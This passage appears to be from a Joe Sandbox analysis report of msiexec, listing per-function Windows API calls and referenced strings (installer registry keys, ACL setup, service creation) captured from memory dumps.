Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D3C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005D54
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005D8D
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005DA4
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005DE6
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100005E0F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E2B
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E45
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005E7E
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005E96
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005ED0
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100005EEB
Part of subcall function 0000000100005460: AllocateAndInitializeSid.ADVAPI32 ref: 0000000100005F2D
Part of subcall function 0000000100005460: GetLengthSid.ADVAPI32 ref: 0000000100005F84
Part of subcall function 0000000100005460: memset.MSVCRT ref: 0000000100005FAE
Part of subcall function 0000000100005460: GlobalAlloc.KERNEL32 ref: 0000000100005FD8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006010
Part of subcall function 0000000100005460: InitializeAcl.ADVAPI32 ref: 0000000100006030
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000603A
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 000000010000605C
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006076
Part of subcall function 0000000100005460: AddAccessAllowedAce.ADVAPI32 ref: 00000001000060AB
Part of subcall function 0000000100005460: GetAce.ADVAPI32 ref: 00000001000060CC
Part of subcall function 0000000100005460: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000100006104
Part of subcall function 0000000100005460: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000100006129
Part of subcall function 0000000100005460: SetSecurityDescriptorOwner.ADVAPI32 ref: 0000000100006145
Part of subcall function 0000000100005460: SetSecurityDescriptorGroup.ADVAPI32 ref: 0000000100006166
Part of subcall function 0000000100005460: GetSecurityDescriptorLength.ADVAPI32 ref: 000000010000617C
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061A5
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000061BF
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000061D4
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000061F6
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006210
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 0000000100006220
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 0000000100006242
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000625C
Part of subcall function 0000000100005460: MakeSelfRelativeSD.ADVAPI32 ref: 000000010000627F
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000628D
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062AF
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 00000001000062C9
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 00000001000062D6
Part of subcall function 0000000100005460: GlobalFree.KERNEL32 ref: 00000001000062F8
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 0000000100006312
Part of subcall function 0000000100005460: GetLastError.KERNEL32 ref: 000000010000631F
Part of subcall function 0000000100005460: FreeSid.ADVAPI32 ref: 000000010000633B

CoUninitialize.OLE32 ref: 000000010000E57B
GlobalAlloc.KERNEL32 ref: 000000010000E5B2
memset.MSVCRT ref: 000000010000E5E0
GlobalAlloc.KERNEL32 ref: 000000010000E606
memset.MSVCRT ref: 000000010000E630
GlobalAlloc.KERNEL32 ref: 000000010000E65B
memset.MSVCRT ref: 000000010000E685
GlobalAlloc.KERNEL32 ref: 000000010000E6B0
memset.MSVCRT ref: 000000010000E6DD
GlobalAlloc.KERNEL32 ref: 000000010000E708
memset.MSVCRT ref: 000000010000E73A
MakeAbsoluteSD.ADVAPI32 ref: 000000010000E7DE
CoUninitialize.OLE32 ref: 000000010000E7F2
GetLastError.KERNEL32 ref: 000000010000E7F8
GlobalFree.KERNEL32 ref: 000000010000E817
GlobalFree.KERNEL32 ref: 000000010000E834
GlobalFree.KERNEL32 ref: 000000010000E851
GlobalFree.KERNEL32 ref: 000000010000E86E
GetLastError.KERNEL32 ref: 000000010000E8E3
CoUninitialize.OLE32 ref: 000000010000E903
GlobalFree.KERNEL32 ref: 000000010000E920
GlobalFree.KERNEL32 ref: 000000010000E93D
GlobalFree.KERNEL32 ref: 000000010000E95A
GlobalFree.KERNEL32 ref: 000000010000E977
GlobalFree.KERNEL32 ref: 000000010000E99C
CreateEventW.KERNEL32 ref: 000000010000EA3C
CreateEventW.KERNEL32 ref: 000000010000EA53
GetLastError.KERNEL32 ref: 000000010000EA95
GetLastError.KERNEL32 ref: 000000010000EACD
CoRegisterClassObject.OLE32 ref: 000000010000EB40
GetLastError.KERNEL32 ref: 000000010000EB63
DispatchMessageW.USER32 ref: 000000010000EC84

Part of subcall function 000000010000AA0C: LoadLibraryW.KERNEL32 ref: 000000010000AA19
Part of subcall function 000000010000AA0C: GetProcAddress.KERNEL32 ref: 000000010000AA31
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA45
Part of subcall function 000000010000AA0C: FreeLibrary.KERNEL32 ref: 000000010000AA52

MsgWaitForMultipleObjects.USER32 ref: 000000010000EC17
TranslateMessage.USER32 ref: 000000010000EC76
PeekMessageW.USER32 ref: 000000010000EC9E
GetLastError.KERNEL32 ref: 000000010000ECDD
PostThreadMessageW.USER32 ref: 000000010000ED18
CoRevokeClassObject.OLE32 ref: 000000010000ED29
GetLastError.KERNEL32 ref: 000000010000ED31
GlobalFree.KERNEL32 ref: 000000010000E893

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GetLastError.KERNEL32 ref: 000000010000ED45
CloseHandle.KERNEL32 ref: 000000010000ED6F
CloseHandle.KERNEL32 ref: 000000010000ED81
CloseHandle.KERNEL32 ref: 000000010000ED93
CoUninitialize.OLE32 ref: 000000010000ED9E
CoUninitialize.OLE32 ref: 000000010000EDCC
GlobalFree.KERNEL32 ref: 000000010000EDF4
GlobalFree.KERNEL32 ref: 000000010000EE14
GlobalFree.KERNEL32 ref: 000000010000EE34
GlobalFree.KERNEL32 ref: 000000010000EE54
GlobalFree.KERNEL32 ref: 000000010000EE71

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

ServiceThreadMain: CreateEvent failed., xrefs: 000000010000ED37
Wait Failed in MsgWait., xrefs: 000000010000ECE3
ServiceThreadMain: CreateSD for CreateWaitableTimer failed., xrefs: 000000010000E9FC
ServiceThreadMain: CreateWaitableTimer failed., xrefs: 000000010000EA9B
ServiceThreadMain: SetWaitableTimer failed., xrefs: 000000010000EAD3
ServiceThreadMain: Class registration failed, xrefs: 000000010000EB55
ServiceThreadMain: CoInitializeSecurity failed, xrefs: 000000010000E8D7
CLSID, xrefs: 000000010000E47D

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100006600, Relevance: 65.1, APIs: 25, Strings: 12, Instructions: 368registrystringlibrary

APIs

GetModuleFileNameW.KERNEL32 ref: 0000000100006645
GetLastError.KERNEL32 ref: 0000000100006653

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

RegCreateKeyExW.ADVAPI32 ref: 00000001000067EE
lstrlenW.KERNEL32 ref: 00000001000067FD
RegSetValueExW.ADVAPI32 ref: 0000000100006821
lstrlenW.KERNEL32 ref: 000000010000683B
RegSetValueExW.ADVAPI32 ref: 0000000100006861
RegCloseKey.ADVAPI32 ref: 0000000100006877
RegCreateKeyExW.ADVAPI32 ref: 0000000100006952

Part of subcall function 0000000100005120: Sleep.KERNEL32 ref: 000000010000515C
Part of subcall function 0000000100005120: memset.MSVCRT ref: 000000010000518A

Part of subcall function 000000010000A9AC: GetVersionExW.KERNEL32 ref: 000000010000A9D2

RegCloseKey.ADVAPI32 ref: 0000000100006BC7

Part of subcall function 000000010000642C: RegCreateKeyExW.ADVAPI32 ref: 00000001000064CA
Part of subcall function 000000010000642C: lstrlenW.KERNEL32 ref: 00000001000064D7
Part of subcall function 000000010000642C: RegSetValueExW.ADVAPI32 ref: 00000001000064FB
Part of subcall function 000000010000642C: RegCloseKey.ADVAPI32 ref: 000000010000650D

RegOpenKeyExW.ADVAPI32 ref: 00000001000069F5
RegQueryValueExW.ADVAPI32 ref: 0000000100006A32
memset.MSVCRT ref: 0000000100006A59
CreateProcessW.KERNEL32 ref: 0000000100006AA9
WaitForSingleObject.KERNEL32 ref: 0000000100006ABF
CloseHandle.KERNEL32 ref: 0000000100006ACD
CloseHandle.KERNEL32 ref: 0000000100006ADB
RegCloseKey.ADVAPI32 ref: 0000000100006AE6
wcsrchr.MSVCRT ref: 0000000100006B2F
lstrlenW.KERNEL32 ref: 0000000100006B49
RegSetValueExW.ADVAPI32 ref: 0000000100006B73
lstrlenW.KERNEL32 ref: 0000000100006B90
RegSetValueExW.ADVAPI32 ref: 0000000100006BB5
LoadLibraryW.KERNEL32 ref: 0000000100006BEC
GetProcAddress.KERNEL32 ref: 0000000100006C08

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

MsiRegMv.Exe, xrefs: 0000000100006A66
DllRegisterServer, xrefs: 0000000100006BFE
SYSTEM\Setup, xrefs: 00000001000069DC
Software\Microsoft\Windows\CurrentVersion\Installer, xrefs: 0000000100006931
@dw, xrefs: 0000000100006BEC
MsiExecCA64, xrefs: 0000000100006B9B
h, xrefs: 0000000100006A9E
InstallerLocation, xrefs: 0000000100006B5D
\, xrefs: 0000000100006B23
{%08lX-0000-0000-C000-000000000046}, xrefs: 0000000100006688
Msi.dll, xrefs: 0000000100006BE5
SystemSetupInProgress, xrefs: 0000000100006A0E

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100006600, Relevance: 63.4, APIs: 25, Strings: 11, Instructions: 368registrystringlibrary

APIs

GetModuleFileNameW.KERNEL32 ref: 0000000100006645
GetLastError.KERNEL32 ref: 0000000100006653

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

RegCreateKeyExW.ADVAPI32 ref: 00000001000067EE
lstrlenW.KERNEL32 ref: 00000001000067FD
RegSetValueExW.ADVAPI32 ref: 0000000100006821
lstrlenW.KERNEL32 ref: 000000010000683B
RegSetValueExW.ADVAPI32 ref: 0000000100006861
RegCloseKey.ADVAPI32 ref: 0000000100006877
RegCreateKeyExW.ADVAPI32 ref: 0000000100006952

Part of subcall function 0000000100005120: Sleep.KERNEL32 ref: 000000010000515C
Part of subcall function 0000000100005120: memset.MSVCRT ref: 000000010000518A

Part of subcall function 000000010000A9AC: GetVersionExW.KERNEL32 ref: 000000010000A9D2

RegCloseKey.ADVAPI32 ref: 0000000100006BC7

Part of subcall function 000000010000642C: RegCreateKeyExW.ADVAPI32 ref: 00000001000064CA
Part of subcall function 000000010000642C: lstrlenW.KERNEL32 ref: 00000001000064D7
Part of subcall function 000000010000642C: RegSetValueExW.ADVAPI32 ref: 00000001000064FB
Part of subcall function 000000010000642C: RegCloseKey.ADVAPI32 ref: 000000010000650D

RegOpenKeyExW.ADVAPI32 ref: 00000001000069F5
RegQueryValueExW.ADVAPI32 ref: 0000000100006A32
memset.MSVCRT ref: 0000000100006A59
CreateProcessW.KERNEL32 ref: 0000000100006AA9
WaitForSingleObject.KERNEL32 ref: 0000000100006ABF
CloseHandle.KERNEL32 ref: 0000000100006ACD
CloseHandle.KERNEL32 ref: 0000000100006ADB
RegCloseKey.ADVAPI32 ref: 0000000100006AE6
wcsrchr.MSVCRT ref: 0000000100006B2F
lstrlenW.KERNEL32 ref: 0000000100006B49
RegSetValueExW.ADVAPI32 ref: 0000000100006B73
lstrlenW.KERNEL32 ref: 0000000100006B90
RegSetValueExW.ADVAPI32 ref: 0000000100006BB5
LoadLibraryW.KERNEL32 ref: 0000000100006BEC
GetProcAddress.KERNEL32 ref: 0000000100006C08

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

h, xrefs: 0000000100006A9E
\, xrefs: 0000000100006B23
{%08lX-0000-0000-C000-000000000046}, xrefs: 0000000100006688
SystemSetupInProgress, xrefs: 0000000100006A0E
Software\Microsoft\Windows\CurrentVersion\Installer, xrefs: 0000000100006931
InstallerLocation, xrefs: 0000000100006B5D
DllRegisterServer, xrefs: 0000000100006BFE
Msi.dll, xrefs: 0000000100006BE5
SYSTEM\Setup, xrefs: 00000001000069DC
MsiExecCA64, xrefs: 0000000100006B9B
MsiRegMv.Exe, xrefs: 0000000100006A66

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000ADEC, Relevance: 43.9, APIs: 18, Strings: 7, Instructions: 169filelibrarywindow

APIs

memset.MSVCRT ref: 000000010000AE30
#197.MSI ref: 000000010000AE5B
GetACP.KERNEL32 ref: 000000010000AE6B
LoadLibraryW.KERNEL32 ref: 000000010000AE7A
GetProcAddress.KERNEL32 ref: 000000010000AE92
GetLocaleInfoW.KERNEL32 ref: 000000010000AEB5
FreeLibrary.KERNEL32 ref: 000000010000AEC6
FormatMessageW.KERNEL32 ref: 000000010000AEF4

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

memset.MSVCRT ref: 000000010000AF77
GetVersionExW.KERNEL32 ref: 000000010000AF85
GlobalAlloc.KERNEL32 ref: 000000010000AFA7
GlobalFree.KERNEL32 ref: 000000010000AFC4
#197.MSI ref: 000000010000AFEC
#199.MSI ref: 000000010000B046
GlobalFree.KERNEL32 ref: 000000010000B056
lstrlenW.KERNEL32 ref: 000000010000B071
WriteFile.KERNEL32 ref: 000000010000B094
WriteFile.KERNEL32 ref: 000000010000B0B8

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

KERNEL32, xrefs: 000000010000AE71
@dw, xrefs: 000000010000AE7A
GetUserDefaultUILanguage, xrefs: 000000010000AE88
Pdw, xrefs: 000000010000AE6B
rpoedcamusv, xrefs: 000000010000B0A6
Install error %i, xrefs: 000000010000AF0D
Zw, xrefs: 000000010000AEC6

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000ADEC, Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 169filelibrarywindow

APIs

memset.MSVCRT ref: 000000010000AE30
#197.MSI ref: 000000010000AE5B
GetACP.KERNEL32 ref: 000000010000AE6B
LoadLibraryW.KERNEL32 ref: 000000010000AE7A
GetProcAddress.KERNEL32 ref: 000000010000AE92
GetLocaleInfoW.KERNEL32 ref: 000000010000AEB5
FreeLibrary.KERNEL32 ref: 000000010000AEC6
FormatMessageW.KERNEL32 ref: 000000010000AEF4

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

memset.MSVCRT ref: 000000010000AF77
GetVersionExW.KERNEL32 ref: 000000010000AF85
GlobalAlloc.KERNEL32 ref: 000000010000AFA7
GlobalFree.KERNEL32 ref: 000000010000AFC4
#197.MSI ref: 000000010000AFEC
#199.MSI ref: 000000010000B046
GlobalFree.KERNEL32 ref: 000000010000B056
lstrlenW.KERNEL32 ref: 000000010000B071
WriteFile.KERNEL32 ref: 000000010000B094
WriteFile.KERNEL32 ref: 000000010000B0B8

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

GetUserDefaultUILanguage, xrefs: 000000010000AE88
KERNEL32, xrefs: 000000010000AE71
Install error %i, xrefs: 000000010000AF0D
rpoedcamusv, xrefs: 000000010000B0A6

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000DE34, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 144sleep

APIs

memset.MSVCRT ref: 000000010000DE7B
GetModuleFileNameW.KERNEL32 ref: 000000010000DE93
GetLastError.KERNEL32 ref: 000000010000DE9E
memset.MSVCRT ref: 000000010000DF0B
#197.MSI ref: 000000010000DF30
#197.MSI ref: 000000010000DF55
OpenSCManagerW.ADVAPI32 ref: 000000010000DF64
Sleep.KERNEL32 ref: 000000010000DF83
CreateServiceW.ADVAPI32 ref: 000000010000DFE2
GetLastError.KERNEL32 ref: 000000010000DFF0
#197.MSI ref: 000000010000E032
#197.MSI ref: 000000010000E05A
CloseServiceHandle.ADVAPI32 ref: 000000010000E082
CloseServiceHandle.ADVAPI32 ref: 000000010000E08B
GetLastError.KERNEL32 ref: 000000010000E093

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

MSIServer, xrefs: 000000010000DFB9
RpcSs, xrefs: 000000010000DF93

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000733C, Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 199registry

APIs

Part of subcall function 000000010000714C: EnterCriticalSection.KERNEL32 ref: 000000010000716F
Part of subcall function 000000010000714C: SetServiceStatus.ADVAPI32 ref: 00000001000071FA
Part of subcall function 000000010000714C: GetLastError.KERNEL32 ref: 0000000100007206
Part of subcall function 000000010000714C: LeaveCriticalSection.KERNEL32 ref: 0000000100007223

Part of subcall function 0000000100005120: Sleep.KERNEL32 ref: 000000010000515C
Part of subcall function 0000000100005120: memset.MSVCRT ref: 000000010000518A

RegCreateKeyExW.ADVAPI32 ref: 0000000100007488

Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A32D
Part of subcall function 000000010000A2E0: GlobalAlloc.KERNEL32 ref: 000000010000A350
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A374
Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A393
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3B7
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3D9

RegisterEventSourceW.ADVAPI32 ref: 00000001000074E2

Part of subcall function 000000010000A110: ReportEventW.ADVAPI32 ref: 000000010000A147

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

RegCloseKey.ADVAPI32 ref: 0000000100007515

Part of subcall function 000000010000E260: RegOpenKeyExW.ADVAPI32 ref: 000000010000E29A
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E2BE
Part of subcall function 000000010000E260: RegEnumKeyExW.ADVAPI32 ref: 000000010000E326
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E33C
Part of subcall function 000000010000E260: RegDeleteKeyW.ADVAPI32 ref: 000000010000E348
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E36C
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E3A7
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3BD
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3D7

RegCreateKeyExW.ADVAPI32 ref: 000000010000757D

Part of subcall function 000000010000A40C: memset.MSVCRT ref: 000000010000A445
Part of subcall function 000000010000A40C: RegEnumKeyW.ADVAPI32 ref: 000000010000A488
Part of subcall function 000000010000A40C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A4B1
Part of subcall function 000000010000A40C: RegCloseKey.ADVAPI32 ref: 000000010000A4D8
Part of subcall function 000000010000A40C: RegisterEventSourceW.ADVAPI32 ref: 000000010000A4F1
Part of subcall function 000000010000A40C: RegCloseKey.ADVAPI32 ref: 000000010000A568
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A5BF
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A5ED
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A61A
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A648

RegCreateKeyExW.ADVAPI32 ref: 00000001000075FF
RegCloseKey.ADVAPI32 ref: 000000010000761A
RegCloseKey.ADVAPI32 ref: 0000000100007628

Part of subcall function 000000010000A680: RegOpenKeyExW.ADVAPI32 ref: 000000010000A6E1
Part of subcall function 000000010000A680: GlobalFree.KERNEL32 ref: 000000010000A72A
Part of subcall function 000000010000A680: RegisterEventSourceW.ADVAPI32 ref: 000000010000A753
Part of subcall function 000000010000A680: RegCloseKey.ADVAPI32 ref: 000000010000A7D6
Part of subcall function 000000010000A680: GlobalFree.KERNEL32 ref: 000000010000A7E7

Strings

Software\Classes\Installer, xrefs: 000000010000764A
SetInstallerACLs: Installer key not owned by System or Admin. Deleting key + subkeys and re-creating., xrefs: 00000001000074FF
Software\Microsoft\Windows\CurrentVersion\Installer, xrefs: 000000010000744C, 000000010000751B, 0000000100007545
Secure, xrefs: 00000001000075CD
SetInstallerACLs: Could not delete Installer key tree., xrefs: 0000000100007531
MsiInstaller, xrefs: 00000001000074D9
SetInstallerACLs: Unable to create and verify Installer directory, xrefs: 00000001000073B8
SetInstallerACLs: Could not create Secure Installer sub key., xrefs: 0000000100007609
SetInstallerACLs: Could not create Installer key., xrefs: 0000000100007492

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000A81C, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 87registry

APIs

GetLastError.KERNEL32 ref: 000000010000A842
RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
RegCloseKey.ADVAPI32 ref: 000000010000A8EE
GlobalFree.KERNEL32 ref: 000000010000A900
memset.MSVCRT ref: 000000010000A92C

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

OutputDebugStringW.KERNEL32 ref: 000000010000A973
SetLastError.KERNEL32 ref: 000000010000A97B

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

(, xrefs: 000000010000A8F4
%s, xrefs: 000000010000A958
Debug, xrefs: 000000010000A899
P, xrefs: 000000010000A8C2
Software\Policies\Microsoft\Windows\Installer, xrefs: 000000010000A85E
Error: %d. %s., xrefs: 000000010000A942

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100009EFC, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 120librarywindow

APIs

LoadLibraryExW.KERNEL32 ref: 0000000100009F4B
GetProcAddress.KERNEL32 ref: 0000000100009F67
GetSystemDefaultLangID.KERNEL32 ref: 0000000100009FBD
memset.MSVCRT ref: 000000010000A004
FormatMessageW.KERNEL32 ref: 000000010000A02E
WideCharToMultiByte.KERNEL32 ref: 000000010000A066

Part of subcall function 0000000100004EF4: _vsnprintf.MSVCRT ref: 0000000100004F2F

FreeLibrary.KERNEL32 ref: 000000010000A0D8

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

Installer error %i, xrefs: 000000010000A073
ISMIF32.DLL, xrefs: 0000000100009F35
InstallStatusMIF, xrefs: 0000000100009F5D
Zw, xrefs: 000000010000A0D8

Memory Dump Source

